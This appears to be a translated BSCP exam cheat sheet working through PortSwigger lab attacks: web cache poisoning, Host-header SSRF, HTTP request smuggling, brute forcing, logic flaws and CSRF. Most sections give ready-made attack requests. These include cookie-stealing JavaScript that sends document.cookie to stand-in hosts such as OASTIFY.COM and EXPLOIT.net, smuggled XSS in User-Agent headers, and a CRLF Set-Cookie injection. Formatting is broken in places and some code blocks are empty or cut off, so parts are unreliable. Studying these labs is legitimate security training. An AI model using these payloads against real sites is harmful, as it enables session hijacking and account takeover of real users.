>Расширение Param Miner при выполнении `Bulk scan > Rails parameter cloaking scan` ***автоматически определяет*** уязвимость. Вручную её можно выявить, добавив `;` для добавления ещё одного параметра к `utm_content`; кэш обрабатывает это как единый параметр. Это означает, что дополнительный параметр также исключается из ключа кэша.
>`Исходный код` для `/js/geolocate.js?callback=setCountryCookie` вызывается на каждой странице и выполняет функцию обратного вызова.
>Параметр `callback` входит в ключ кэша, и поэтому с его помощью нельзя отравить кэш для пользователя-жертвы, но при сочетании дублирующего параметра с `utm_content` он исключается, и кэш можно отравить.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

Ниже приведена полезная нагрузка для перехвата cookie-файлов при кэш-клоакинге: продолжайте отравлять кэш, пока жертва не попадёт на сохранённый кэш.``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2
>Ниже приведён [URL-декодированный](https://www.urldecoder.org/) payload.```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2
Добавление второго заголовка Host с эксплойт-сервером выявляет неоднозначную уязвимость кэша и маршрутизирует ваш запрос. Обратите внимание, что эксплойт-сервер во втором заголовке Host отражается в абсолютном URL, используемом для импорта скрипта из
/resources/js/tracking.js.```html Host: TARGET.net Host: exploit.net
>На сервере эксплойта создайте файл по тому же пути, по которому цель обращается к `/resources/js/tracking.js`, — в нём будет содержаться полезная нагрузка. Разместите приведённый ниже код JavaScript-полезной нагрузки для выполнения кражи cookie.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

Определите заголовки попадания в кэш в ответах,
затем проверьте, поддерживает ли цель заголовкиX-Forwarded-HostилиX-Forwarded-Scheme.
Эти заголовки могут позволить похитить cookie сессии жертвы.
Определите, приводит ли добавление двух заголовков Forwarded к GET-запросу
/resources/js/tracking.jsк изменению заголовка location в ответе. Это подтверждает успешное отравление кэша с помощью нескольких заголовков.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

>На сервере эксплойтов измените путь к файлу на ```/resources/js/tracking.js```
>и затем обновите заголовок ```X-Forwarded-Host: EXPLOIT.net``` в отравленном запросе.
>Разместите полезную нагрузку в теле сервера эксплойтов.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;
Удалите
cb=123— buster кэша, а затем отравьте кэш, пока жертва не будет перенаправлена на полезную нагрузку tracking.js эксплойт-сервера, чтобы украсть сессионную cookie.
Определите, что приложение уязвимо к отравлению дублирующими параметрами: добавьте второй параметр с тем же именем и другим значением — в ответе отразится внедрённое значение.
```
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2
>Функция, которая вызывается в ответе при передаче дублированного параметра callback, отражается. Обратите внимание, что в ответе ключ кэша по-прежнему формируется из исходного параметра callback в строке GET-запроса.

>Не удалось заставить работать полезную нагрузку для кражи cookie......
[PortSwigger Lab: Web cache poisoning via a fat GET request](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-----
## Host-заголовки
[Подделка IP-адреса](#spoof-ip-address)
[Состояние соединения HOST](#host-connection-state)
[SSRF на основе маршрутизации Host](#host-routing-based-ssrf)
[SSRF через некорректный разбор Host-запроса](#absolute-get-url--host-ssrf)
### Подделка IP-адреса
>***Определите***, что изменённые HOST-заголовки поддерживаются,
>что позволяет подменить ваш IP-адрес и обойти защиту от перебора на основе IP-адреса
>или атаки с перенаправлением, чтобы выполнить отравление ***сброса пароля***.
>Включите приведённые ниже заголовки `X- ` и измените параметр username в запросе сброса пароля на `Carlos` перед отправкой запроса.
>На экзамене BSCP, если вы использовали этот эксплойт, это означает, что вы не использовали уязвимость, требующую взаимодействия с пользователем, и можете использовать уязвимость взаимодействия для получения доступа к этапу 3 в качестве администратора с помощью функции `Deliver exploit to victim` на сервере эксплойтов.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
Советы и примечания от fullfox:
Host: или X-Forwarded-Host:, если вы получаете ошибку Invalid hostname, попробуйте использовать следующий hostname: xxx.oastify.com?TARGET.net — легитимный URL цели без слэша.Проверьте журнал эксплойт-сервера, чтобы получить ссылку сброса для имени пользователя жертвы.

Цель уязвима для SSRF на основе маршрутизации через заголовок Host, но проверяет состояние соединения первого запроса. Отправка сгруппированных запросов последовательно через одно соединение и установка заголовка соединения в keep-alive обходит проверку заголовка Host и позволяет эксплуатировать SSRF локального сервера.```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive
>Следующий запрос — вторая вкладка в групповой последовательности запросов.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=TheCSRFTokenValue&username=carlos
Обратите внимание, что второй запрос успешно получил доступ к админ-панели.

Архитектура с front-end и back-end сервером, где front-end или back-end не поддерживает chunked encoding (HEX) или content-length (Decimal). Обойдите механизмы безопасности, чтобы перехватить запрос жертвы и использовать cookie пользователя-жертвы для доступа к его аккаунту.
TE.CL dualchunk - Transfer-encoding обфусцирован
TE.CL multiCase - Админ заблокирован
CL.TE multiCase - Админ заблокирован
CL.TE multiCase - Похититель cookie через Content-Length
CL.TE multiCase - Похититель cookie через User-Agent
HTTP/2 smuggling - Похититель cookie через CRLF-инъекцию
HTTP/2 TE - Похититель cookie администратора
Если разрешены дублирующиеся имена заголовков и уязвимость определяется как dualchunk, то добавьте дополнительный заголовок с именем и значением = Transfer-encoding: cow. Используйте методы обфускации со вторым TE.``` Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-encoding: identity Transfer-encoding: cow
>Некоторые серверы, поддерживающие заголовок `Transfer-Encoding`, могут быть принуждены не обрабатывать его, если заголовок каким-либо образом **обфусцирован**.
>В меню Repater убедитесь, что параметр **"Update Content-Length"** не отмечен флажком.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n

Примечание: Необходимо включить завершающую последовательность \r\n\r\n после финального 0.
Интересно, как часто возникает сценарий, при котором хакеру удаётся украсть запрос посещающего пользователя через уязвимость HTTP Sync?
При обращении к пути
/adminпортала мы получаем сообщение фильтра,Path /admin is blocked. Сканер HTTP Request Smuggler определяет уязвимость какTE.CL multiCase (delayed response). Примечание: поскольку внутренний сервер не поддерживает chunked-кодирование, отключитеUpdate Content-Lengthв меню Repeater.
После отключения автоматического обновления Content-Length, переключитесь на
HTTP/1.1, затем отправьте приведённый ниже запрос дважды, добавив второй заголовокContent-Length: 15, чтобы предотвратить конфликт заголовка HOST с первым запросом.
Примечание: необходимо включить завершающую последовательность\r\n\r\nпосле финального0.
Ручное исправление полей длины в атаках request smuggling требует, чтобы размер каждого чанка в байтах был выражен в шестнадцатеричном формате, а Content-Length задаёт длину тела сообщения в байтах. За каждым чанком следует перевод строки, затем содержимое чанка. Сообщение завершается чанком нулевого размера.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
>Вычисление длины запроса TE.CL (Transfer-Encoding / Content-Length) для smuggle-запроса в **ШЕСТНАДЦАТЕРИЧНОМ** формате, при этом полезная нагрузка находится между шестнадцатеричной длиной **71** и завершающим **НОЛЁМ**, не включая сам ноль и не включая предшествующий `\r\n` в строке над нулём, как часть длины. Начальный **content-length** POST-запроса задаётся вручную.

>При отправке `/admin/delete?username=carlos` для удаления пользователя шестнадцатеричное значение длины transfer-encoding меняется с `71` на `88`, чтобы включить дополнительный размер smuggled-запроса.
[Лаборатория PortSwigger: Эксплуатация HTTP request smuggling для обхода средств безопасности фронтенда, уязвимость TE.CL](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
### CL.TE multiCase — Admin заблокирован
>При попытке доступа к пути URL `/admin` мы получаем сообщение фильтра: `Path /admin is blocked`. Сканер HTTP Request Smuggler ***определяет*** уязвимость как `CL.TE multiCase (delayed response)`.
>Чтобы получить доступ к админ-панели, отправьте приведённый ниже запрос дважды, добавив второй заголовок ```Content-Length: 10```, чтобы предотвратить конфликт заголовка HOST с первым запросом.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
При второй отправке запроса в ответ возвращается админ-портал.

Большой Content-Length для перехвата запросов жертвы. Отправка POST-запроса со внедрённым запросом, но длина содержимого больше реальной длины, и когда жертва просматривает страницу, значение её cookie-сессии публикуется в комментарий blob. Увеличьте Content-Length запроса comment-post до 798, затем внедрите POST-запрос на внутренний сервер.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

>Выше в присланном (smuggled) POST-запросе в конце нет новой строки^^.
>Посмотрите в блоге **пост**, чтобы узнать, есть ли там комментарий с запросом пользователя. Учтите, что атака будет успешной только после того, как жертва зайдёт на целевой сайт. Скопируйте Cookie-заголовок пользователя из комментария в блоге и используйте этот cookie для доступа к аккаунту жертвы.

[Лаборатория PortSwigger: Эксплуатация HTTP request smuggling для перехвата запросов других пользователей](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
### CL.TE multiCase - Похититель cookie через User-Agent
>***Определите***, что значение UserAgent сохраняется в GET-запросе, загружающем форму комментария, а также сохраняется в скрытом значении **User-Agent**. Эксплуатация HTTP request smuggling для доставки отражённого XSS с использованием значения **User-Agent**, которое затем помещается в контрабандный (smuggled) запрос.
>Базовый XSS-пейлоад, выходящий за пределы HTML-документа.```JavaScript
"/><script>alert(1)</script>
COOKIE STEALER Пейлоад.```JavaScript a"/>;
>Протащите этот XSS-запрос на внутренний сервер, чтобы он поразил следующего посетителя. Поместите XSS-стилер cookie в заголовок **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1

Проверьте запрос PortSwigger Collaborator, полученный от жертвы, просматривающей целевой сайт.

Целевой сервер уязвим к смуглингу запросов, поскольку фронтенд-сервер понижает версию HTTP/2 запросов и не выполняет адекватную санитизацию входящих заголовков. Эксплуатация осуществляется с помощью вектора смуглинга запросов, характерного только для HTTP/2, чтобы похитить сессионную cookie жертвы и получить доступ к учётной записи пользователя.
Определите возможную уязвимость, когда целевой сервер отражает предыдущую и недавнюю историю поиска на основе cookie; при удалении cookie видно, что история поиска сбрасывается, что подтверждает её привязку к вашей сессионной cookie.

Разверните раздел Request Attributes (атрибуты запроса) в Inspector и измените протокол на HTTP/2, затем добавьте произвольный заголовок
fooсо значениемbar, добавьте последовательность\r\n, а затемTransfer-Encoding: chunked, нажав shift+ENTER.

Примечание: включите опцию Allow HTTP/2 ALPN override и замените тело HTTP/2-запроса на приведённый ниже POST-запрос.```html 0
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800
search=nutty

[Лаборатория PortSwigger: HTTP/2 request smuggling via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)
[Демонстрация YouTube: HTTP/2 request smuggling via CRLF injection](https://youtu.be/E-bnCGzl7Rk)
### HTTP/2 TE desync v10a h2path
>Цель уязвима для контрабанды запросов, потому что фронтенд-сервер понижает версию HTTP/2 запросов, даже если они имеют неоднозначную длину. Украдите session cookie администратора, посещающего цель. Расширение Burp, **HTTP Request Smuggler**, ***идентифицирует*** уязвимость как HTTP/2 TE desync v10a (H2.TE).

>Примечание: Переключитесь на **HTTP/2** в атрибутах запроса Inspector и включите опцию **Allow HTTP/2 ALPN override** в меню Repeater.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n
Примечание: Пути в запросах POST и GET указывают на несуществующие конечные точки. Это помогает определить: если не получен ответ 404, значит, ответ — это перехваченный запрос пользователя-жертвы. Помните, что нужно правильно завершить контрабандный запрос, включив последовательность
\r\n\r\nпосле заголовка Host.

Скопируйте значение украденной сессионной cookie в новый запрос http/2 GET к панели администратора.``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

[PortSwigger Lab: Отравление очереди ответов через H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-----
## Брутфорс
[Stay-Logged-in](#stay-logged-in)
[Офлайн-взлом Stay-logged-in](#stay-logged-in-offline-crack)
[Брутфорс защищённого входа](#brute-force-protected-login)
[Едва заметный неверный вход](#subtly-invalid-login)
### Stay-Logged-in
>Вариант входа с флажком stay-logged-in приводит к тому, что значение Cookie содержит пароль вошедшего пользователя и уязвимо для брутфорса.

>Шаги эксплуатации ниже, а также правила обработки Payload в Intruder по порядку, включая опцию GREP, перед началом атаки.
1. Выйдите из системы как текущий пользователь.
2. Отправьте последний запрос GET /my-account в Burp Intruder.
3. Выберите cookie: ```stay-logged-in``` в качестве позиции инъекции.
4. Хеш: ```MD5```
5. Добавьте префикс: ```carlos:```
6. Кодирование: ```Base64-encode```
7. Добавьте **GREP** на вкладке Settings, чтобы проверить в ответе наличие строки ```Update email```, указывающей на успешный вход.

[PortSwigger Lab: Брутфорс cookie stay-logged-in](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)
### Офлайн-взлом Stay-logged-in
>Функция комментариев blog-приложения уязвима для [хранимого XSS](#stored-xss); используйте приведённый ниже payload в комментарии к блогу, чтобы отправить сессионный cookie Carlos на exploit-сервер.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>
Декодируйте значение cookie
stay-logged-inиз Base64 и воспользуйтесь онлайн-базой для взлома хэшей MD5.

Обнаружена защита от перебора при входе, когда серверная часть применяет 30-минутный бан, что приводит к блокировке IP после слишком большого количества неудачных попыток входа. Проверка заголовка
X-Forwarded-For:приводит к обходу защиты от перебора. Наблюдая за временем ответа при длинном неверном пароле, можно использовать технику Pitchfork, чтобы определить сначала действительные имена пользователей со случайным длинным паролем, а затем повторно запустить Intruder с Pitchfork, настроив каждую позицию атаки так, чтобы она перебирала все наборы одновременно.
Позиция 1 полезной нагрузки — IP-адрес для заголовка
X-Forwarded-For:, а позиция 2 — имя пользователя с длинным паролем, чтобы увидеть задержку времени ответа в окне столбцов атаки.``` X-Forwarded-For: 12.13.14.15

>Повторите описанную выше атаку Intruder типа **Pitchfork** на поле пароля, а затем ***определите*** действительный пароль по столбцу статуса с результатом 302.
[PortSwigger Lab: Перечисление имен пользователей по времени ответа](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)
### Едва заметный неверный вход
>***Определите***, что страница входа и сброс пароля не защищены от атаки перебором и что для неверного имени пользователя или пароля не применяется блокировка по IP или тайм-аут.
>Совет для экзамена BSCP: иногда существует другой пользователь со слабым паролем, которого можно подобрать перебором. Carlos не всегда является учетной записью, на которую следует нацелиться для получения первоначального доступа на этапе 1.

>Обратите внимание на столбец атаки Intruder для значения GREP: ```Invalid username or password.``` одно ответное сообщение при неудачной атаке на имя пользователя не содержит точки в конце. Повторите атаку с этим ***определенным*** именем пользователя и атаку **Sniper** на поле пароля, чтобы ***определить*** ответ ```302``` для действительного входа.

>На экзамене BSCP ***обращайте внимание*** на другие возвращаемые сообщения, которые отличаются и раскрывают действительные учетные записи в приложении, а также позволяют ***определить*** пароли учетных записей перебором, например, в функции [сброса пароля](#refresh-password-broken-logic).
>Как только действительное имя пользователя идентифицировано по другому ответному сообщению, выполните [перебор](#brute-force) пароля с помощью Burp Intruder.
[PortSwigger Lab: Перечисление имен пользователей через незначительно отличающиеся ответы](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)
>Еще один сценарий определения действительного имени пользователя в веб-приложении — указать список имен пользователей при входе и одно неверное значение пароля. В результатах атаки Intruder один ответ будет содержать сообщение `Incorrect password`.
>Позиция внедрения для атаки Intruder: `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.
[PortSwigger Lab: Перечисление имен пользователей через разные ответы](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)
-----
## Аутентификация
[Регистрация учетной записи](#account-registration)
[Макрос обхода токена аутентификации](#auth-token-bypass-macro)
### Регистрация учетной записи
>Ошибка бизнес-логики в функции регистрации учетной записи позволяет получить первоначальный доступ с правами целевого пользователя. [Обнаружение контента](#content-discovery) находит путь ```/admin```; сообщение гласит, что интерфейс администратора доступен только при входе в систему под пользователем **DontWannaCry**.

>Создание адреса электронной почты, содержащего более 200 символов перед символом ```@```, приводит к его усечению до 255 символов. Это ***выявляет*** уязвимость — **ошибку** в логике страницы регистрации учетной записи. В приведенном ниже адресе электронной почты символ ```m``` в конце ```@dontwannacry.com``` является ровно 255-м символом.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

Если вход в систему защищён от перебора с помощью случайного токена, который используется при каждом POST-запросе входа, макрос Burp можно использовать для обхода защиты.
Создание макроса Burp
Macros и добавьте новый макрос.Configure item и добавьте пользовательское расположение параметра для извлечения.Include all URLs.
OAuth
CSRF с проверкой Referer
Наличие заголовка Referer
LastSearchTerm
CSRF, дублированный в cookie
Наличие CSRF-токена
Выполнен ли вход
CSRF без защиты
Обход SameSite Strict
Обход SameSite Lax
Уязвимость межсайтовой подделки запросов (Cross-Site Request Forgery) позволяет атакующему заставить пользователей выполнять действия, которые они не намеревались выполнять. Это может позволить атакующему изменить адрес электронной почты жертвы и использовать сброс пароля для захвата учетной записи.
Эксплойт связывания OAuth: разместите iframe на эксплойт-сервере, затем передайте его жертве, заставив пользователя обновить связанный код.

Перехватите запрос GET /oauth-linking?code=[...]. Отправьте в Repeater, чтобы сохранить код. Сбросьте запрос. Важно убедиться, что код не использован и остаётся действительным. Сохраните на эксплойт-сервере iframe, в котором атрибут
srcуказывает на URL, который вы только что скопировали.```html
[Лаборатория PortSwigger: принудительная привязка профиля OAuth](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
### Проверка CSRF через Referer
>***Определите***, что функция изменения адреса электронной почты уязвима к CSRF, наблюдая, что при изменении значения заголовка **Referer** ответ содержит сообщение `Invalid referer header`, и изменение email принимается, когда значение referrer содержит ожидаемый целевой домен где-либо в значении.

>Добавление исходного домена цели и добавление `history.pushState('', '', '/?TARGET.net');` к **заголовку Referer** в виде строки запроса позволяет обновить адрес электронной почты.```html
Referrer-Policy: unsafe-url
Примечание: В отличие от обычного написания заголовка Referer, слово «referrer» в приведённом выше разделе
headсервера эксплойта должно быть написано правильно.

Создайте CSRF-эксплойт proof of concept и разместите его на сервере эксплойта. Измените JavaScript так, чтобы третий аргумент функции history.pushState() содержал строку запроса с целевым URL.```html
В запросе на обновление email при изменении заголовка
refererответ указываетInvalid referer header, что указывает на CSRF-уязвимость. Используя<meta name="referrer" content="no-referrer">как часть CSRF PoC на сервере эксплойта, эту защиту можно обойти. Это предписывает серверу эксплойта доставить эксплойт жертве без заголовкаreferer.```html

Определите CSRF-уязвимость, в которой токен не привязан к несессионному cookie, изменив cookie csrfkey и увидев, что запрос отклоняется. Обратите внимание на значение cookie LastSearchTerm, содержащее введённые пользователем данные из параметра поиска.

Поисковая функция не имеет защиты от CSRF, создайте приведённый ниже payload, который внедряет символы новой строки
%0d%0aдля установки нового значения cookie в ответе, и используйте это для внедрения cookie в браузер жертвы.``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None
>Сгенерируйте CSRF POC, включите опцию добавления скрипта **auto-submit** и нажмите **Regenerate**. Удалите блок кода скрипта **auto-submit** и добавьте вместо него следующее, затем разместите код скрипта ```history.pushState``` ниже заголовка body. **onerror** тега IMG SRC вместо этого отправит CSRF POC.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">
Во время сдачи экзамена BSCP установите значение смены email на адрес эксплойт-сервера [email protected]. Затем вы можете изменить пароль администратора с помощью функции сброса.

В приведённом ниже коде CSRF PoC скрытое значение csrf — это значение, сгенерированное функцией смены email, а значение csrfkey в
img src— это значение жертвы, полученное при входе под предоставленными учётными данными жертвы. Не уверен насчёт экзамена, но в реальном мире этот тест следует выполнить.```html
В целевой системе мы обнаруживаем, что ключевой токен CSRF дублируется в значении cookie. Ещё одним индикатором является cookie
LastSearchTerm, в которой содержится искомое значение. Передавая поисковое значение, содержащее%0d%0a, мы можем внедрить символы конца строки и перевода строки, чтобы создать новую cookie и значение CSRF.

В коде эксплойта в теге
img srcмы устанавливаем для csrf поддельное значение cookie.```html
Изменение значения параметра
csrfприводит к отклонению запроса на смену email. Удаление CSRF-токена позволяет принять запрос на смену email, и это указывает на то, что проверка наличия токена уязвима.
CSRF PoC Payload, размещённый на эксплойт-сервере:```html
Если cookie с именем isloggedin обнаружен, то POST-запрос на смену пароля администратора может быть использован.